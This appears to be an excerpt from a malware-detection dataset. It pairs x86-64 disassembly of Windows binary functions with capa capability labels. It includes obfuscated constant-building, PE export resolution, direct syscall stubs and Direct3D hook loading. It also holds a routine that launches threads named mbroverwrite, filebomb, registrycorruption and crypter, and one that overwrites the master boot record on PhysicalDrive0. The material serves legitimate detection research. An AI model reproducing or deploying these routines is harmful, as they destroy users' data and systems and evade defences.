joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14014e300
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xchg r9, r10
mov qword [rsp + 0x20], r10
xchg r9, r10
mov qword [rsp + 0x18], r8
xchg rcx, r12
mov qword [rsp + 8], r12
xchg rcx, r12
push rsi
mov qword [rsp], rbx
nop
mov qword [rsp - 8], rbp
sub rsp, 8
nop
sub rsp, 8
mov qword [rsp], rsi
nop
sub rsp, 8
mov qword [rsp], rdi
push r12
push r13
push r14
nop
mov qword [rsp - 8], r15
sub rsp, 8
sub rsp, 0x58
mov rbx, r9
xchg rdx, rbp
mov rsi, rbp
xchg rbp, rdx
xchg rcx, rbp
mov r9, rbp
xchg rcx, rbp
xor ebp, ebp
test rdx, rdx
jne 0x14014e377
mov eax, ebp
jmp 0x14014e3c7
mov eax, 0x6d5b1c41
xor eax, 0x3fe48e3
xor eax, 0x3e3d45c4
sub eax, 0x1b517494
add eax, 0x4659a8ec
xor eax, 0x13f90ce9
sub eax, 0x2bfa076f
sub eax, 0x3c5ee79b
cmp word [rdx], ax
je 0x14014e3b6
xchg r11, rbp
mov rax, r11
xchg r11, rbp
jmp 0x14014e3c7
movsxd rax, dword [rdx + 0x3c]
add rax, rsi
cmp dword [rax], 0x4550
cmovne rax, rbp
mov ecx, 0x4f9d6620
sub ecx, 0x346e6107
xor ecx, 0x7181ad41
add ecx, 0x691db30
sub ecx, 0xcf89007
xor ecx, 0x7e5e465e
add ecx, 0x1f1a6a5d
sub ecx, 0x31e429c0
sub ecx, 0x74ff471
cmp word [rax + 0x18], cx
jne 0x14014e51d
mov r14d, dword [rax + 0x88]
add r14, rsi
je 0x14014e51d
mov r15d, dword [r14 + 0x1c]
add r15, rsi
mov r12d, dword [r14 + 0x24]
add r12, rsi
mov r13d, dword [r14 + 0x20]
add r13, rsi
mov edi, ebp
cmp dword [r14 + 0x18], 0
jbe 0x14014e4dd
nop dword [rax]
nop dword [rax + rax]
mov eax, edi
mov ecx, dword [r13 + rax*4]
add rcx, rsi
movzx eax, word [r12 + rax*2]
mov edx, dword [r15 + rax*4]
add rdx, rsi
cmp rcx, 0xffff
jbe 0x14014e4d1
mov qword [rsp + 0xa8], rdx
xchg rcx, r15
mov qword [rsp + 0x30], r15
xchg r15, rcx
xchg rdi, r8
mov qword [rsp + 0x38], rdi
xchg r8, rdi
mov qword [rsp + 0x40], r9
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14014e594
mov rax, qword [rcx]
lea rdx, [rsp + 0xa8]
mov qword [rsp + 0x20], rdx
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x40]
call qword [rax + 0x10]
test al, al
je 0x14014e4dd
mov r8, qword [rsp + 0xb0]
mov r9, qword [rsp + 0xa0]
inc edi
cmp edi, dword [r14 + 0x18]
jb 0x14014e444
xchg rcx, r9
mov r9, qword [rbx + 0x38]
xchg r9, rcx
test rcx, rcx
je 0x14014e506
cmp rcx, rbx
mov rax, qword [rcx]
setne dl
call qword [rax + 0x20]
xchg r10, rbp
mov qword [rbx + 0x38], r10
xchg rbp, r10
mov al, 0x33
xor al, 0x4b
sub al, 0x31
xor al, 4
xor al, 0x11
sub al, 0xd
sub al, 0x1f
add al, 0x18
xor al, 0x3f
jmp 0x14014e540
mov rcx, qword [rbx + 0x38]
test rcx, rcx
je 0x14014e53e
xchg rsi, rax
mov rsi, qword [rcx]
xchg rsi, rax
cmp rcx, rbx
setne dl
call qword [rax + 0x20]
mov qword [rbx + 0x38], rbp
xor al, al
add rsp, 0x58
nop
add rsp, 8
xchg qword [rsp - 8], r15
nop
xchg qword [rsp], r14
add rsp, 8
nop
add rsp, 8
xchg qword [rsp - 8], r13
nop
xchg qword [rsp], r12
add rsp, 8
push rcx
push rdx
push rdx
xchg qword [rsp + 0x18], rdi
add rsp, 0x20
nop
add rsp, 8
xchg qword [rsp - 8], rsi
nop
mov rbp, qword [rsp]
add rsp, 8
nop
add rsp, 8
xchg qword [rsp - 8], rbx
ret
call fcn.1401ff072
nop
int3
Function at 0x140160a00
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xchg rdi, rdx
mov r11, rdi
xchg rdx, rdi
mov r10, rcx
test rdx, rdx
je 0x140160a7e
mov qword [rsp], rbx
movzx ebx, byte [rsp + 0x30]
test r9, r9
je 0x140160a6b
movzx eax, byte [r10]
test bl, bl
je 0x140160a4d
lea rcx, [r9 - 1]
xchg r9, r15
mov rdx, r15
xchg r9, r15
add rcx, r8
nop
xor al, byte [rcx]
lea rcx, [rcx - 1]
mov byte [r10], al
sub rdx, 1
jne 0x140160a3c
jmp 0x140160a6b
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
xor al, byte [rcx + r8]
inc rcx
mov byte [r10], al
cmp rcx, r9
jb 0x140160a5c
inc r10
sub r11, 1
jne 0x140160a1e
xchg rcx, rbx
mov rcx, qword [rsp]
xchg rcx, rbx
add rsp, 8
nop
add rsp, 8
jmp qword [rsp - 8]
Function at 0x140166150
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
xchg r14, rdi
mov qword [rsp + 0x20], r14
xchg rdi, r14
nop
mov qword [rsp - 8], r14
sub rsp, 8
xor r14d, r14d
mov rdi, rcx
mov esi, r14d
mov ebp, r14d
movzx ecx, byte [rdi + 8]
add cl, 0xff
shl esi, cl
add esi, esi
nop dword [rax]
xchg rcx, r10
mov rcx, qword [rdi]
xchg rcx, r10
mov ecx, dword [r10]
cmp ecx, 0x270
jne 0x140166200
lea rax, [r10 + 8]
mov r9d, ecx
nop word [rax + rax]
mov r8d, dword [rax - 4]
xor r8d, dword [rax]
lea rax, [rax + 4]
btr r8d, 0x1f
xor r8d, dword [rax - 8]
mov ecx, r8d
and cl, 1
neg cl
sbb edx, edx
shr r8d, 1
and edx, 0x9908b0df
xor edx, dword [rax + 0x62c]
xor edx, r8d
mov dword [rax + 0x9b8], edx
sub r9, 1
jne 0x1401661b8
mov ecx, dword [r10]
jmp 0x14016634b
cmp ecx, 0x4e0
jb 0x14016634b
lea r11, [r10 + 0x9c4]
mov ebx, 0x55f4d01b
xor ebx, 0xe5f5894
sub ebx, 0x4926f137
sub ebx, 0xf4a5da3
add ebx, 0x3179a1cc
sub ebx, 0x1a53844d
xor ebx, 0x52b25c3a
add ebx, 0x286d775f
sub ebx, 0x713f818a
mov eax, dword [r11]
nop
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14016624c
lea r11, [r10 + 0xd50]
mov ebx, 0x67c00539
sub ebx, 0x3215b696
sub ebx, 0x250ff4b9
xor ebx, 0x69953931
xor ebx, 0x69b2a0c9
xor ebx, 0xa16bd3f
add ebx, 0x627c5b7e
sub ebx, 0x100bb3e
sub ebx, 0x7c271be1
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x1401662d0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
mov ecx, r14d
mov dword [r10], r14d
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xa
shr ecx, 1
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 6
shl eax, 1
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 4
shl eax, 2
shl eax, 9
xor edx, eax
mov ecx, edx
shr ecx, 0x11
shr ecx, 1
xor ecx, edx
cmp ecx, dword [rdi + 0x10]
ja 0x14016618e
add rbp, qword [rdi + 8]
or esi, ecx
cmp rbp, 0x20
jb 0x140166180
mov rbx, qword [rsp + 0x10]
mov eax, esi
mov rsi, qword [rsp + 0x20]
xchg r9, rbp
mov r9, qword [rsp + 0x18]
xchg rbp, r9
xchg rdi, rbp
mov rbp, qword [rsp + 0x28]
xchg rbp, rdi
push rbx
xchg qword [rsp + 8], r14
add rsp, 0x10
nop
add rsp, 8
jmp qword [rsp - 8]
Function at 0x140166950
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov eax, dword [rcx + 0x40]
xchg r12, rdi
mov r12, rdx
xchg r12, rdi
mov rbx, rcx
mov byte [rax + rcx], 0x78
sub byte [rax + rcx], 8
sub byte [rax + rcx], 0x6d
add byte [rax + rcx], 6
add byte [rax + rcx], 0x5f
add byte [rax + rcx], 0x11
sub byte [rax + rcx], 8
add byte [rax + rcx], 0xf
lea r8d, [rax + 1]
cmp eax, 0x38
jae 0x1401669d6
cmp r8d, 0x38
jae 0x140166a5d
mov ecx, r8d
mov eax, 0x1ccd8061
xor eax, 0x3ffe25b
xor eax, 0xf18dca9
sub eax, 0x82cf5b2
xor eax, 0x3988aa8d
sub eax, 0x3e756234
sub eax, r8d
add rcx, rbx
mov r8d, eax
xor edx, edx
call fcn.1401ff2c0
jmp 0x140166a5d
cmp r8d, 0x40
jae 0x140166a20
mov ecx, r8d
mov eax, 0x54ede82d
add eax, 0x19d6656a
sub eax, 0x2065c02d
xor eax, 0x7ff63354
xor eax, 0x6d8721a7
add eax, 0x841e79b
xor eax, 0x271c1e9e
add eax, 0x2a2daee6
xor eax, 0x6d9b48d0
sub eax, r8d
add rcx, rbx
mov r8d, eax
xor edx, edx
call fcn.1401ff2c0
xchg rsi, rdx
mov rsi, rbx
xchg rsi, rdx
xchg rcx, rdi
mov rdi, rbx
xchg rcx, rdi
call fcn.140166dd0
xorps xmm0, xmm0
xor eax, eax
xchg rbx, rcx
movups xmmword [rcx], xmm0
xchg rcx, rbx
xchg rbx, rdx
movups xmmword [rdx + 0x10], xmm0
xchg rbx, rdx
xchg rbx, rdx
movups xmmword [rdx + 0x20], xmm0
xchg rbx, rdx
mov qword [rbx + 0x30], rax
mov edx, dword [rbx + 0x40]
xchg rbx, rcx
mov rbx, rcx
xchg rcx, rbx
shl edx, 3
add rdx, qword [rbx + 0x48]
mov rax, rdx
xchg rbp, rdx
mov qword [rbx + 0x48], rbp
xchg rbp, rdx
shr rax, 6
shr rax, 1
shr rax, 1
mov byte [rbx + 0x3e], al
xchg rdx, rax
mov rdx, rax
xchg rdx, rax
shr rax, 0xc
shr rax, 2
shr rax, 1
shr rax, 1
mov byte [rbx + 0x3d], al
xchg rdi, rax
mov rdi, rdx
xchg rdi, rax
shr rax, 0xa
shr rax, 8
shr rax, 2
shr rax, 3
shr rax, 1
mov byte [rbx + 0x3c], al
xchg rdx, rax
mov rdx, rax
xchg rdx, rax
shr rax, 0x16
shr rax, 8
shr rax, 1
shr rax, 1
mov byte [rbx + 0x3b], al
xchg rbp, rax
mov rbp, rdx
xchg rbp, rax
shr rax, 0x14
shr rax, 0xa
shr rax, 8
shr rax, 1
shr rax, 1
mov byte [rbx + 0x3a], al
xchg rdx, r8
mov rax, r8
xchg rdx, r8
mov byte [rbx + 0x3f], dl
shr rdx, 0xf
shr rdx, 0x13
shr rdx, 0xd
shr rdx, 4
shr rdx, 4
shr rdx, 1
mov byte [rbx + 0x38], dl
xchg rbx, rdx
mov rbx, rdx
xchg rdx, rbx
shr rax, 0x2e
shr rax, 1
shr rax, 1
mov byte [rbx + 0x39], al
call fcn.140166dd0
xor r8d, r8d
lea rdx, [rdi + 8]
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rbx + 0x50]
lea rdx, [rdx + 1]
mov ecx, 0x3c40de56
sub ecx, 0x36dbf650
add ecx, 0x20d3104b
xor ecx, 0x6818d8a4
xor ecx, 0x3447a0f8
xor ecx, 0x4313e73f
add ecx, 0x3209763a
sub ecx, 0x6b84dd54
lea rdi, [rdi + 1]
sub ecx, r8d
add r8d, 8
shr eax, cl
mov byte [rdi - 1], al
mov eax, dword [rbx + 0x54]
shr eax, cl
mov byte [rdx - 5], al
mov eax, dword [rbx + 0x58]
shr eax, cl
mov byte [rdx - 1], al
mov eax, dword [rbx + 0x5c]
shr eax, cl
mov byte [rdx + 3], al
mov eax, dword [rbx + 0x60]
shr eax, cl
mov byte [rdx + 7], al
cmp r8d, 0x20
jb 0x140166b48
xchg r13, rbx
mov r13, qword [rsp + 0x30]
xchg r13, rbx
add rsp, 0x20
nop
xchg qword [rsp], rdi
add rsp, 8
ret
Function at 0x14022b570
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14022b59d
xor al, al
jmp 0x14022b6ff
mov rax, qword [0x14024a6c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x14024a6c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x14024a6d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x14024a6d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14024a6e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x14024a6e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x14024a6f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x14024a6f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x14024a700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x14022b6f1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x14022b649
mov r11d, 2
jmp 0x14022b66d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x14022b663
mov r11d, 1
jmp 0x14022b66d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x14022b715
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x14022b6b2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14022b6ca
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14022b6da
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x14022b6e8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x14022b630
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14022b6fa
Function at 0x1404767f5
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
jmp 0x140da56cb
syscall
ret

Function at 0x140529c75
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
jmp 0x140d97d60
syscall
ret

Function at 0x140652f8f
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
jmp 0x140c4fa69
syscall
ret
Function at 0x180001050
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18000107c
lea rax, [0x18001fcf0]
lea r8, [0x180003200]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x38
ret
Function at 0x180001ed0
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push rbx
sub rsp, 0x240
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov r8, qword [0x18001fea8]
lea rcx, [rsp + 0x20]
mov edx, 0x104
call fcn.180004630
lea r8, str.CED3D9Hook64.dll
lea rcx, [rsp + 0x20]
mov edx, 0x104
call fcn.180004694
lea rcx, str.InitializeD3D9Api__
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, str.dllpath__:
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
je 0x180002068
lea rdx, str.D3D9Hook_Reset_imp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D9Hook_Present_imp
mov rcx, rbx
mov qword [0x18001fe20], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D9Hook_DrawPrimitive_imp
mov rcx, rbx
mov qword [0x18001fe28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D9Hook_DrawIndexedPrimitive_imp
mov rcx, rbx
mov qword [0x18001fe18], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D9Hook_DrawPrimitiveUP_imp
mov rcx, rbx
mov qword [0x18001fe10], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D9Hook_DrawIndexedPrimitiveUP_imp
mov rcx, rbx
mov qword [0x18001fe08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D9Hook_DrawRectPatch_imp
mov rcx, rbx
mov qword [0x18001fe00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D9Hook_DrawTriPatch_imp
mov rcx, rbx
mov qword [0x18001fdf8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [0x18001fe20], 0
mov qword [0x18001fdf0], rax
je 0x18000205f
cmp qword [0x18001fe28], 0
je 0x18000205f
cmp qword [0x18001fe18], 0
je 0x18000205f
cmp qword [0x18001fe10], 0
je 0x18000205f
cmp qword [0x18001fe08], 0
je 0x18000205f
cmp qword [0x18001fe00], 0
je 0x18000205f
cmp qword [0x18001fdf8], 0
je 0x18000205f
test rax, rax
je 0x18000205f
lea rcx, str.D3D9Hook:_SUCCESSFULLY_LOADED
jmp 0x180002092
lea rcx, str.D3D9Hook:_Not_all_exports_found
jmp 0x180002092
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, str.LoadLibraryA_for_the_D3D9_hook_failed:__d
lea rcx, [rsp + 0x130]
mov r9d, eax
mov edx, 0xff
call fcn.180004710
lea rcx, [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.1800044a0
add rsp, 0x240
pop rbx
ret
Function at 0x1800025f0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov r8, qword [0x18001fea8]
lea rcx, [rsp + 0x20]
mov edx, 0x104
call fcn.180004630
lea r8, str.CED3D10Hook64.dll
lea rcx, [rsp + 0x20]
mov edx, 0x104
call fcn.180004694
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.D3D10Hook_DrawIndexed_imp
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D10Hook_Draw_imp
mov rcx, rbx
mov qword [0x18001fde8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D10Hook_DrawIndexedInstanced_imp
mov rcx, rbx
mov qword [0x18001fde0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D10Hook_DrawInstanced_imp
mov rcx, rbx
mov qword [0x18001fdd8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D10Hook_DrawAuto_imp
mov rcx, rbx
mov qword [0x18001fdd0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18001fdc8], rax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1800044a0
add rsp, 0x140
pop rbx
ret

Function at 0x1800029a0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x140
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov r8, qword [0x18001fea8]
lea rcx, [rsp + 0x20]
mov edx, 0x104
call fcn.180004630
lea r8, str.CED3D11Hook64.dll
lea rcx, [rsp + 0x20]
mov edx, 0x104
call fcn.180004694
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.D3D11Hook_DrawIndexed_imp
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D11Hook_Draw_imp
mov rcx, rbx
mov qword [0x18001fdc0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D11Hook_DrawIndexedInstanced_imp
mov rcx, rbx
mov qword [0x18001fdb8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D11Hook_DrawInstanced_imp
mov rcx, rbx
mov qword [0x18001fdb0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.D3D11Hook_DrawAuto_imp
mov rcx, rbx
mov qword [0x18001fda8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18001fda0], rax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1800044a0
add rsp, 0x140
pop rbx
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005850]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005860]
mov dword [rax], 1
mov rax, qword [0x140005870]
mov dword [rax], 1
mov rax, qword [0x1400057e0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005840]
mov dword [0x14000800c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140005920]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140005900]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400057c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400058a0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x1400058b0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140008008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140005810]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call dbg._pei386_runtime_relocator
mov rcx, qword [dbg._gnu_exception_handler]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140005890]
lea rcx, [dbg.__mingw_invalidParameterHandler]
mov qword [rdx], rax
call sym._set_invalid_parameter_handler
call dbg._fpreset
mov ebx, dword [0x140008028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sym.malloc
mov r12, qword [0x140008020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sym.strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sym.malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sym.memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140008020], rbp
call dbg.__main
mov rax, qword [0x140005820]
mov r8, qword [0x140008018]
mov ecx, dword [0x140008028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140008020]
call sym.main
mov ecx, dword [0x14000800c]
mov dword [0x140008010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140008008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400058b0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call dbg._amsg_exit
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400058d0]
mov rcx, qword [0x1400058c0]
call sym._initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sym._cexit
mov eax, dword [0x140008010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x1400058f0]
mov rcx, qword [0x1400058e0]
mov dword [rsi], 1
call sym._initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sym.exit
nop
Function at 0x140001450
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
mov qword [rbp - 8], 0
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.mbroverwrite
mov r8d, 0
mov edx, 0
lea rax, [sym.trollies]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
call rax
mov r8d, 0
mov edx, 0
lea rax, [sym.filebomb]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
call rax
mov r8d, 0
mov edx, 0
lea rax, [sym.registrycorruption]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
call rax
mov r8d, 0
mov edx, 0
lea rax, [sym.keyboardspam]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
call rax
mov r8d, 0
mov edx, 0
lea rax, [sym.crypter]
mov rcx, rax
mov rax, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthread]
call rax
mov ecx, 0x2710
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001520
Capabilities:
Write file on windows

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x1e0], rcx
lea rax, [rbp - 0x40]
mov r8d, 0x200
mov edx, 0
mov rcx, rax
call sym.memset
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0x10000000
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1c8], rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x250
pop rbp
ret